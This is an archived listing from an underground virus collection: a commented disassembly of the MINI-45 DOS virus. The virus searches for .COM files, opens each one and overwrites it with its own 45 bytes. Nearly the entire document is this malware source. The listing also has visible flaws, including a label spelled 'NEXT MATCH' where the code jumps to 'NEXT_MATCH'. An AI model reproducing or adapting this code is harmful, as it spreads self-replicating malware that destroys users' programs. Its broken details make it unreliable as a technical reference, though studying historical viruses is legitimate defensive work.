home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mini-45.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  2.4 KB  |  50 lines

  1. ;***************************************************************
  2.  
  3. ;             DISASSEMBLY of the MINI-45 VIRUS
  4.  
  5. ;***************************************************************
  6.  
  7. ;         FIND .COM FILE TO INFECT
  8.  
  9. ;***************************************************************
  10.  
  11.      MOV DX, 127h          ;filehandle search criteria-27bytes
  12.  
  13.                            ;away from beg. of file
  14.  
  15.      MOV AH, 4Eh           ;setup for Dos function-find file
  16.  
  17.      INT 21h               ;search for first file match
  18.  
  19.      JB  FILESPEC          ;jump below and return
  20.  
  21. ;****************************************************************
  22.  
  23. ;         OPEN FILE
  24.  
  25. ;****************************************************************
  26.  
  27. FIRST_FILE:
  28.  
  29.      MOV DX, 009Eh         ;pointer to asciiz file spec
  30.  
  31.      MOV AX, 3D02h         ;moving 3d into ah=call dos to open file
  32.  
  33.                            ;moving 02 into al=we want read\write
  34.  
  35.                            ;access
  36.  
  37.      INT 21h               ;call dos function and open file.
  38.  
  39.                            ;file handle found is put in ax register
  40.  
  41.      JB  NEXT_MATCH        ;search for next match
  42.  
  43. ;****************************************************************
  44.  
  45. ;        WRITE VIRUS CODE TO FILE
  46.  
  47. ;****************************************************************
  48.  
  49.      XCHG AX,BX            ;put retrieved file handle from 3d open
  50.  
  51.                            ;call into bx so it can be used for 
  52.  
  53.                            ;write function.
  54.  
  55.      MOV DX, 0100h         ;point to buffer of data to write, i.e.
  56.  
  57.                            ;to myself
  58.  
  59.      MOV CX, 002Dh         ;#of bytes to write. 45d bytes
  60.  
  61.      MOV AH, 40h           ;setup write to file dos function
  62.  
  63.      INT 21h               ;write to file indicated in bx
  64.  
  65. ;******************************************************************
  66.  
  67. ;        CLOSE FILE
  68.  
  69. ;******************************************************************
  70.  
  71.      MOV AH, 3Eh           ;setup for dos function to close file
  72.  
  73.      INT 21h               ;close file
  74.  
  75. ;******************************************************************
  76.  
  77. ;       FIND NEXT FILE MATCH
  78.  
  79. ;******************************************************************
  80.  
  81. NEXT MATCH:
  82.  
  83.      MOV AH, 4Fh           ;search for next file match
  84.  
  85.      JMP FIRST_FILE        ;return above
  86.  
  87. ;******************************************************************
  88.  
  89.  
  90. FILESPEC:
  91.  
  92.      db '*.com'
  93.  
  94.      db 00
  95.  
  96.  
  97.  
  98.